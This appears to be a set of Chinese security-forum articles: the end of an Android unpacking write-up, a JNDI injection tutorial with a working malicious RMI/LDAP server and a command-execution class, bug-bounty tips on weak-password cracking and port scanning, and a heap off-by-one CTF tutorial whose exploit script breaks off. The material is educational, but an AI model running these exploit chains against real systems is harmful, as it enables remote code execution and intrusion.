在网上找到一些类似的解决方法，先用addr2line命令定位出错的地方在库文件的什么地方，根据栈回溯backtrace打印出的内容来定位：`arm-none-linux-gnueabi-addr2line.exe 00022108 -e libc.so`，返回结果为`??:?`
这里我们卡在了脱壳的过程中，该解密的区段都已经解密成功了，就在即将要开始调用java层的native方法的时候，这里出现signal 11的错误，怎么办呢？
### 退一步海阔天空，注入大法好
虽然暂时无法确定出问题的细节，但是大致方向是可以把握的： **因为重打包后，程序出现崩溃** 。
为什么要重打包？因为要要修改AndroidManifest.xml文件增加可调式属性，否则jdb无法启动应用。
那么有办法替代修改调试属性的操作吗？有，参考【9】，init注入或者xposed。这里直接用写好的工具[mprop](https://github.com/wpvsyou/mprop)，执行`./mprop
ro.debuggable 1`即可。
#### 绕过反调试，手动绕过isDebuggerConnected
当我们开始调试的时候，其实java层有一个反调试，就在壳代码中，最开始是通过反编译smali代码，删除相应代码来对抗它的，但是因为反编译后会出现程序异常，我们这里通过mprop绕过，接下来就需要绕过这里的反调试。
思路：
【1】patch掉该处代码，重新修改dex文件头的signature和checksum
【2】动态修改isDebuggerConnected的返回值，参考【10】
这里我用的第二种方法
### load：核心逻辑
顺利到在load函数中下上断点。
下面主要分析核心内容。
* 获取odex基址，0x750DD000
* 获取dex文件偏移、地址，并且解密dex头部数据到内存中
* 根据解密后的DEX头部0xE0字节数据+DEX偏移指向的剩余部分数据，结合起来就是原始DEX文件
dump解密后的头部0xe0字节数据
static main(void)
{
auto fp, begin, end, ptr;
fp = fopen("d:\\header.dex", "wb");
begin = 0x74fd7000;
len = 0xe0;
for ( ptr = begin; ptr < begin+len; ptr ++ )
fputc(Byte(ptr), fp);
}
ida脚本打印ODEX文件在内存中的所有数据
static main(void)
{
auto fp, begin, end, ptr;
fp = fopen("d:\\dump.odex", "wb");
begin = 0x74fd7000;
end = 0x75b2f000;
for ( ptr = begin; ptr < end; ptr ++ )
fputc(Byte(ptr), fp);
}
* dump出Dex header和整个ODEX文件数据后，然后根据Dex Header中的file_size字段dump出Dex文件，接着用正确的Dex Header头替换错误的头部即可(010edit：ctrl+shift+a，使用select Range即可)
## 脱壳思路
1. 搜索DEX文件的magic字符`64 65 78 0a 30 33 35`，截取前0xE0长度的字符并dump到classes.dex本地文件中。获取偏移0x20处的文件大小长度。
2. 接着搜索/proc/<pid>/maps获取odex的内存基址，根据下面计算，得到dex文件偏移地址。a1+0x6C=data_off，a1+0x68=data_size</pid>
1. dex偏移 + ODex基址 + 0x28即Dex文件内存地址。结合文件大小dump出dex文件数据，接着去除前0xE0字节数据，将剩余内容写入classes.dex文件中
# 小结
【1】IDA在识别节头出错的情况下，会去识别程序头继续分析
【2】ELF基础：ELF节头表不能被装载进内存。由于ELF程序装载过程中只用到了程序头表
【3】#define HIDWORD(l) ((DWORD)(((DWORDLONG)(l) >> 32) & 0xFFFFFFFF))
【4】`Alt+S`：修改段属性，将需要保存的段内存勾上loader选项，`TakeMemorySnapshot(1);`：IDC语句，直接打下内存快照
【5】0x28为odex文件格式中dex_header的相对偏移地址，所以(odexAddr + 0x28)为该odex文件格式中dex
header的绝对地址
总的来说，是一次马马虎虎的脱壳路程，但是从结果看还是成功的。中途出现很多问题，耐心是必须的。不足也是很多的：
* JNI本地方法注册调用逻辑不熟悉，过程中的很多地方是参考其他文章学习到的。
* 伪代码也不是完全弄懂了，很多代码细节是模糊的
# 参考
【1】国内众多加固厂商存在有各自标志性的加固文件分析的时候可以快速识别
【2】[ELF的dump及修复思路](https://pkiller.com/android/ELF的dump及修复思路/)
【3】section开源修复代码 <https://github.com/WangYinuo/FixElfSection>
【4】[乐固壳分析] <https://www.cnblogs.com/goodhacker/p/8666217.html>
【5】[原创]乐固libshella 2.10.1分析笔记 <https://bbs.pediy.com/thread-218782.htm>
【6】Dalvik虚拟机JNI方法的注册过程分析
<https://blog.csdn.net/Luoshengyang/article/details/8923483>
【7】乐固2.8 <https://my.oschina.net/jalen1991/blog/1870774>
【8】Fatal signal 11问题的解决方法
<https://blog.csdn.net/tankai19880619/article/details/9004619>
【9】Android 「动态分析」打开调试开关的三种方法
<https://blog.csdn.net/hp910315/article/details/82769506>
【10】手动绕过百度加固Debug.isDebuggerConnected反调试的方法
<https://blog.csdn.net/QQ1084283172/article/details/78237571> | 社区文章 |
# Java安全之JNDI注入
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
续上篇文内容，接着来学习JNDI注入相关知识。JNDI注入是Fastjson反序列化漏洞中的攻击手法之一。
## 0x01 JNDI
### 概述
JNDI(Java Naming and Directory
Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI
API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。
JNDI(Java Naming and Directory
Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有：
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、
CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
以上是一段百度wiki的描述。简单点来说就相当于一个索引库，一个命名服务将对象和名称联系在了一起，并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件，从而保持数据库代码不变动等。
### JNDI结构
在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：
javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；
javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；
javax.naming.event：在命名目录服务器中请求事件通知；
javax.naming.ldap：提供LDAP支持；
javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。
## 0x02 前置知识
其实在面对一些比较新的知识的时候，个人会去记录一些新接触到的东西，例如类的作用。因为在看其他大佬写的文章上有些在一些前置需要的知识里面没有去叙述太多，需要自己去查找。对于刚刚接触到的人来说，还需要去翻阅资料。虽然说在网上都能查到，但是还是会有很多搜索的知识点，需要一个个去进行查找。所以在之类就将一些需要用到的知识点给记录到这里面。方便理解，也方便自己去进行翻看。
### InitialContext类
#### 构造方法：
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文，并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
代码：
InitialContext initialContext = new InitialContext();
在这JDK里面给的解释是构建初始上下文，其实通俗点来讲就是获取初始目录环境。
#### 常用方法：
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象，覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
代码：
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
### Reference类
该类也是在`javax.naming`的一个类，该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
#### 构造方法：
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码：
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1：`className` – 远程加载时所使用的类名
参数2：`classFactory` – 加载的`class`中需要实例化类的名称
参数3：`classFactoryLocation` – 提供`classes`数据的地址可以是`file/ftp/http`协议
#### 常用方法：
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
代码：
package com.rmi.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
这里可以看到调用完`Reference`后又调用了`ReferenceWrapper`将前面的`Reference`对象给传进去，这是为什么呢？
其实查看`Reference`就可以知道原因，查看到`Reference`,并没有实现`Remote`接口也没有继承
`UnicastRemoteObject`类，前面讲RMI的时候说过，需要将类注册到`Registry`需要实现`Remote`和继承`UnicastRemoteObject`类。这里并没有看到相关的代码，所以这里还需要调用`ReferenceWrapper`将他给封装一下。
## 0x03 JNDI注入攻击
在叙述JNDI注入前先来看一段源码。
#### 代码示例：
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象
}
}
在上面的`InitialContext.lookup(uri)`的这里，如果说URI可控，那么客户端就可能会被攻击。具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。
### JNDI注入+RMI实现攻击
下面还是来看几段代码，来做一个分析具体的攻击流程。
#### RMIServer代码：
package com.rmi.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
#### RMIClient代码：
package com.rmi.jndi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
下面还需要一段执行命令的代码，挂载在web页面上让server端去请求。
package com.rmi.jndi;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
使用javac命令，将该类编译成class文件挂载在web页面上。
原理其实就是把恶意的`Reference`类，绑定在RMI的Registry
里面，在客户端调用`lookup`远程获取远程类的时候，就会获取到`Reference`对象，获取到`Reference`对象后，会去寻找`Reference`中指定的类，如果查找不到则会在`Reference`中指定的远程地址去进行请求，请求到远程的类后会在本地进行执行。
我在这里其实是执行失败了，因为在高版本中，系统属性
`com.sun.jndi.rmi.object.trustURLCodebase`、`com.sun.jndi.cosnaming.object.trustURLCodebase`
的默认值变为false。而在低版本中这几个选项默认为true，可以远程加载一些类。
### LDAP概念
轻型目录访问协议（英文：Lightweight Directory Access
Protocol，缩写：LDAP，/ˈɛldæp/）是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。
### JNDI注入+LDAP实现攻击
有了前面的案例后，再来看这个其实也比较简单，之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受`com.sun.jndi.rmi.object.trustURLCodebase`、`com.sun.jndi.cosnaming.object.trustURLCodebase`等属性的限制。
启动一个ldap服务，该代码由某大佬改自marshalsec。
package com.rmi.rmiclient;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
编写一个client客户端。
package com.rmi.rmiclient;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}}
编写一个远程恶意类，并将其编译成class文件，放置web页面中。
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
这里有个坑点，就是恶意的类，不能包含最上面的package信息，否则会调用失败。下面来启动一下服务器端，然后启动客户端。
在 JDK 8u191
`com.sun.jndi.ldap.object.trustURLCodebase`属性的默认值被调整为false。这样的方式没法进行利用，但是还是会有绕过方式。在这里不做赘述。
### 参考文章
https://xz.aliyun.com/t/8214
https://xz.aliyun.com/t/6633
https://xz.aliyun.com/t/7264
在此感谢师傅们的文章，粗略的列了几个师傅的文章，但不仅限于这些。文中有一些错误的地方，望师傅们指出。
## 0x04 结尾
其实在这篇文中前前后后也是花费了不少时间，各种坑。 | 社区文章 |
先知大会后，我跟我的破晓团队的小伙伴们一起聚餐聊天，开玩笑的说，挖洞就像开挖掘机，取决于你的技术与思路。
话说我个人的挖洞时间也算挺长的了，从刚开始的乌云到SRC，战绩还是不错的，也从中积累了很多的经验。
最近在挖平安SRC，漏洞质量、数量还是可以得。
因为平时工作忙，所以没有太多时间、经历去弄其他的事情，这个经验分享也算是姗姗而来吧！希望大家见谅。
我平时挖洞的经验，我总结了一下，大概有以下几点：
1、收集信息，尽可能的越多越好（主域名、IP段、搜索引擎、GitHub等）。
2、收集好信息后，对收集的信息进行一些扩展，增加信息收集的量（可以用SubDomain工具批量收集厂商域名信息，域名对应IP，数据多了之后，就可以拿来分析域名的真实地址、以及潜在的IP段）。
3、对IP段、子域名等进行大量破解，这里我们要经常收集一些SRC开发常用的端口、以及一些域名的命名习惯（GitHub上面有很多现成的端口，平时收集信息的时候，可以多注意一下）。
4、收集对方的邮箱账号命名习惯（因为好多官方后台都是用内部邮箱账号登录的）
5、一般大厂商主站的漏洞不是很多，挖到漏洞了，也没多少积分，新手遇到这类型站，应该主动绕道，去其他子站看看。
6、逻辑漏洞，这种类型的漏洞非常多，一般各大厂商基本上都存在，有的只是比较隐蔽而已，刚入手的白帽子，有可能觉得这个挖起来比较难，因为这个得对系统有一定的分析了解，不过好的是，这种漏洞一般只要挖洞一个，基本上奖励还是不错的。
7、弱口令、这种漏洞，新入手的白帽子最好提前收集一些弱口令字典，我用的一般是TOP2000。账号收集你可以看他们的邮箱结构，例如：liudehua、liudh、ldh、liudehua+数字等这种格式的账号，遇到只有后台类的系统，大家都可以用收集好的账号+常见的用户名，进行破解。
8、一般发现漏洞之后，可以尝试分析一下漏洞引发的一连串危害，记住一点，弱口令不是仅仅是弱口令问题，有可能系统还存在其他漏洞，这时候我们就可以利用弱口令进入后台之后，分析出他们其他存在的漏洞，例如：上传、注入、逻辑等漏洞，这种的一般危害比较大，被恶意利用了，很容易引发其他的问题。
记住：当你们挖到一个弱口令累的漏洞时候，一定不要轻易提交，可以利用弱口令挖掘一些其他的漏洞，如果后台实在没有其他漏洞（有可能也是个人技术问题、挖不到），那你就提交吧（其实也是一种无奈）。
9、有的厂商存在大C段、有的厂商存在大B段，这个时候我们平常的一些积累就可以用到了，我平时积累了4000个常见端口，这个时候利用闲暇时间你就开始跑端口吧，一般跑完之后，你还得对跑完之后的数据进行一些处理，看那些服务正常开启并能够访问，你可以写个简单脚本进行处理，不然你一个个访问弄太麻烦，现在很多厂商都把数据库端口、中间件等端口对外屏蔽了（偶尔有漏网之鱼），只保留了80、8080等端口号。
10、平时多关注最新的漏洞，把自己的收集的数据分类整理好（能够第一时间内，把数据能够利用起来）例如：JSP，PHP等系统分类整理。
11、多关注一下厂商的移动应用（APP、公众号系统、Mobile系统），一般厂商在这里面也容易出问题，现在很多厂商的一些移动应用开发的不够好，导致里面逻辑漏洞特别多，导致用户敏感信息信息泄露等。
12、厂商邮箱，当厂商人员达到一定数量的时候，弱口令或信息泄露类的事情就经常发生，导致的后果也比较严重，例如：开发人员无意识将代码传入第三方平台，内部测试服务器，平台账号等信息泄露。
13、关于扫描器，尽量少使用扫描器，锻炼自己的手工挖掘能力，这样也可以提升你的挖掘水平，我在挖洞的过程中一般很少使用扫描器，现在的扫描器，对一些漏洞扫描的准确率几乎为0，或压根扫不到。
14、关于漏洞挖掘工具，我目前使用最多的就是Burp、其次是Sqlmap，这两个工具在我的漏洞挖掘过程中，起到了很重要的作用。
Burp用来抓包重放，Sqlmap用来处理确认Burp测试中遇到的疑似SQL注入问题。
15、关于编程语言，要熟悉一些脚本语言，例如Python、php等，它可以帮助你了解漏洞产生的原理，以及遇到问题时写一些脚本等。
16、关于网络，有的白帽子对计算机网络不太清楚、IP划分、网络服务、主机服务、路由等都不是特别清楚，这些知识可以说是基础，没事的时候可以看看网络工程类的书籍、视频，补一补。
17、第三方数据平台，例如：shodan、oshadan等，这两个平台我经常用，虽然有数量查询限制，但还是可以想办法绕过的，通过上面平台我们可以查询到一些我们不清楚的系统，比如：某某公司分公司自己开发的系统，这个时候，我们也是可以对这种系统进行一些漏洞挖掘的，这种系统只要之前的没测试过的，一般存在的问题也是很多的，分分钟进后台，严重的有可能导致数据泄露，或通过分公司网络漫游总公司等。
18、多学习，多交流，当你觉得自己快挖不到洞的时候，却有其他人能挖到洞的时候，这时候你就应该想想怎么回事了，是不是自己的知识面不够，还是自己的思路不对了，如果是知识面不够你就应该好好学习了，我总是在不断挖洞的过程中，不断学习。多交流，当大多白帽子遇到这个问题的时候，有很多觉得人觉得自己好像孤军奋战一样，茫无目的寻找，这个时候如果你没有自己的组织，我建议你还是寻找一下吧，最起码找一个愿意帮助自己的人，解疑答惑。现在这种人好像越来越少了，扯淡的比较多。
补充：要是觉得自己水平很高，也应该做到不耻下问。
19、多跟漏洞平台的人接触，有困惑的时候，也可以问问他们，比如：最近大家都在挖什么洞呀……，不见得每个审核都会说，但是如果说了，你就照着那个思路挖就行了，洞总会有的。
20、挖洞到一定水平的时候，大家可以可以尝试着去挖挖众测项目，可以进一步提升你的挖洞效率跟能力。毕竟挖好了，都是钱。不管你是上学的，还是工作的都是一笔可观的收入。
21、不要轻言放弃，有很多人，挖洞很长时间挖不到，自己就觉得很郁闷，想放弃，这时候我想跟你说，往前看，回顾你之前挖的漏洞，看是否能从你熟悉的漏洞中，再次挖到新的漏洞。
22、真正的熟知各种漏洞类型的利用方法，原理。绝不要仅限于TOP10漏洞类型，记住大平台什么漏洞类型都有可能出现，漏洞不等人，不掌握好基本功，有可能漏洞就被其他白帽子挖走了，有时候挖洞，也是考验你的基本功。
23、关于漏洞利用最大化问题，挖洞的过程中，有的厂商审核有可能让你提供一些漏洞危害程度的说明，这个时候，你想的是点到为止，他想的是危害程度，因为这个要拿来给你漏洞评级的，
举个例子：xxx系统存在命令执行。看着这个漏洞名字吓死人，其实有时候这样子的漏洞评分、评级并不高，因为系统有各种各样的限制，导致你只能执行一些简单的命令，不能上传shell、执行其他危险操作等，由于你想的点到为止，并不清楚系统有如此的多的限制，导致你在自评或审核确认后给的评分不高，导致双方之间产生的一些矛盾。
还有的就是，可以进入系统，命令执行直接为管理员权限，可以拿到服务器权限，这个时候，白帽子要把握好度，进行一些截图，切勿窃取服务器的其他敏感信息(比如：偷偷脱裤等)，如果想证明漫游等其他的危害，应该报告中集中体现出来（仅证明可以漫游，或拿其他系统举个例子也可以）。
24、底线问题，严于律己，别发现漏洞后，偷偷拿去乱搞。 | 社区文章 |
# pwn堆入门系列教程1
因为自己学堆的时候，找不到一个系统的教程，我将会按照ctf-wiki的目录一步步学下去，尽量做到每周有更新，方便跟我一样刚入门堆的人学习，第一篇教程研究了4天吧，途中没人指导。。很尴尬，自己一个很容易的点研究了很久才懂，把踩过的坑也总结下，方便后人不再踩坑
[学习链接](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/)
## 环境搭建
[具体搭建方法点我](https://xz.aliyun.com/t/5749)
## off by one原理（引用ctf-wiki)
off-by-one 是指单字节缓冲区溢出，这种漏洞的产生往往与边界验证不严和字符串操作有关，当然也不排除写入的 size
正好就只多了一个字节的情况。其中边界验证不严通常包括
使用循环语句向堆块中写入数据时，循环的次数设置错误（这在 C 语言初学者中很常见）导致多写入了一个字节。
字符串操作不合适
一般来说，单字节溢出被认为是难以利用的，但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性，基于 Linux 堆的 off-by-one
漏洞利用起来并不复杂，并且威力强大。 此外，需要说明的一点是 off-by-one 是可以基于各种缓冲区的，比如栈、bss 段等等，但是堆上（heap
based） 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。
## off-by-one 利用思路（引用ctf-wiki)
溢出字节为可控制任意字节：通过修改大小造成块结构之间出现重叠，从而泄露其他块数据，或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节：在 size 为 0x100 的时候，溢出 NULL 字节可以使得 prev_in_use 位被清，这样前块会被认为是 free
块。（1） 这时可以选择使用 unlink 方法（见 unlink 部分）进行处理。（2） 另外，这时 prev_size 域就会启用，就可以伪造
prev_size ，从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块（理论上是当前正在
unlink 的块）与当前正在 unlink 的块大小是否相等。
## off by one 自己理解
其实就是程序员不小心，我们自己刚写代码的时候也是那样，经常会搞错，比如如下c代码
#include <stdio.h>
#include <malloc.h>
int main()
{
char str[5]={0};
str[5] = '\0';
return 0;
}
这段代码相信类似的，我们都写过，我们数组最高是
数组总长为5，数组下标从0开始，最大为4，而我们错误地使用了str[5],造成越界写了一个字节，这就是off-by-one，可这个开始我也没懂这个的强大，直到做了一道题目
### Asis CTF 2016 b00ks
ctf-wiki上用了两种方法解这道题，我也就照着他的exp，一步步调试，没注释就慢慢理解，搞定了，他有纯利用off-by-one的，也有同时利用unlink跟off-by-one的，下面对这两种方法进行解释
先指出ida解析错误部分
if ( v3 )
{
*(v3 + 6) = v1;
*(off_202010 + v2) = v3;
*(v3 + 2) = v5;
*(v3 + 1) = ptr;
*v3 = ++unk_202024;
return 0LL;
}
这个v3加6是错误的偏移，应该是v3+3，具体看汇编代码就可以了
text:0000000000001122 ; 48: *(v3 + 6) = v1;
.text:0000000000001122
.text:0000000000001122 loc_1122: ; CODE XREF: Create+1B8↑j
.text:0000000000001122 mov eax, [rbp+var_20]
.text:0000000000001125 mov edx, eax
.text:0000000000001127 mov rax, [rbp+var_18]
.text:000000000000112B mov [rax+18h], edx
.text:000000000000112E ; 49: *(off_202010 + v2) = v3;
.text:000000000000112E lea rax, off_202010
.text:0000000000001135 mov rax, [rax]
.text:0000000000001138 mov edx, [rbp+var_1C]
.text:000000000000113B movsxd rdx, edx
.text:000000000000113E shl rdx, 3
.text:0000000000001142 add rdx, rax
.text:0000000000001145 mov rax, [rbp+var_18]
.text:0000000000001149 mov [rdx], rax
.text:000000000000114C ; 50: *(v3 + 2) = v5;
.text:000000000000114C mov rax, [rbp+var_18]
.text:0000000000001150 mov rdx, [rbp+var_8]
.text:0000000000001154 mov [rax+10h], rdx
.text:0000000000001158 ; 51: *(v3 + 1) = ptr;
.text:0000000000001158 mov rax, [rbp+var_18]
.text:000000000000115C mov rdx, [rbp+ptr]
.text:0000000000001160 mov [rax+8], rdx
.text:0000000000001164 ; 52: *v3 = ++unk_202024;
.text:0000000000001164 lea rax, unk_202024
.text:000000000000116B mov eax, [rax]
.text:000000000000116D lea edx, [rax+1]
.text:0000000000001170 lea rax, unk_202024
.text:0000000000001177 mov [rax], edx
.text:0000000000001179 lea rax, unk_202024
.text:0000000000001180 mov edx, [rax]
.text:0000000000001182 mov rax, [rbp+var_18]
.text:0000000000001186 mov [rax], edx
.text:0000000000001188 mov eax, 0
看每段的mov语句，
* 第一段是mov [rax+18h],edx对应v3+6?
* 第二段不看，加了变量
* 第三段是mov [rax+10h],rdx对应v3+2？
#### off-by-one 攻击过程
出现这个漏洞的函数在这
signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0; //危险部分
return 0LL;
}
他由于没考虑好边界条件，多写了一个0到末尾
书本结构体
struct book{
int id;
char *name;
char *description;
int size;
}
#### 攻击过程
我先说明下攻击过程，下面的讲解会围绕这个攻击过程来
1. 填充满author
2. 创建堆块1，覆盖author结尾的\x00,这样我们输出的时候就可以泄露堆块1的地址
3. 创建堆块2，为后续做准备，堆块2要申请得比较大，因为mmap申请出来的堆块地址与libc有固定的偏移
4. 泄露堆块1地址，记为first_heap
5. **(关键点来了)** 这时候的攻击思路是利用编辑author的时候多写了一个\x00字节，可以覆盖到堆块1的地址的最后一位，如果我们提前将堆块1的内容编辑好，按照上述的结构体布置好，name和description我们自己控制，伪造成一个书本的结构体，然后让覆盖过后的地址刚好是book1的description部分的话，我们相当于获得了一个任意地址读写的能力啊
6. 后面就简单了，任意读取获得libc地址
7. 任意写将__free_hook函数的地址改写成one_gadget地址
tips:__free_hook若没有则不调用，若有将先于free函数调用
##### 先贴上exp，没有代码，没有调试就没有灵魂
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
# Set up pwntools for the correct architecture
elf = context.binary = ELF('b00ks')
LIBC = args.LIBC or 'libc.so.6'
local = 1
host = args.HOST or '127.0.0.1'
port = int(args.PORT or 1080)
ctx.binary = 'b00ks'
ctx.remote_libc = LIBC
ctx.debug_remote_libc = True
if ctx.debug_remote_libc == False:
libc = elf.libc
else:
libc = ctx.remote_libc
if local:
context.log_level = 'debug'
io = ctx.start()
else:
io = remote(host,port)
def cmd(choice):
io.recvuntil(">")
io.sendline(str(choice))
def create(book_size, book_name, desc_size, desc):
cmd(1)
io.sendlineafter(": ", str(book_size))
io.recvuntil(": ")
if len(book_name) == book_size:#deal with overflow
io.send(book_name)
else:
io.sendline(book_name)
io.recvuntil(": ")
io.sendline(str(desc_size))
if len(desc) == desc_size:
io.send(desc)
else:
io.sendline(desc)
def remove(idx):
cmd(2)
io.sendlineafter(": ", str(idx))
def edit(idx, desc):
cmd(3)
io.sendlineafter(": ", str(idx))
io.sendlineafter(": ", str(desc))
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
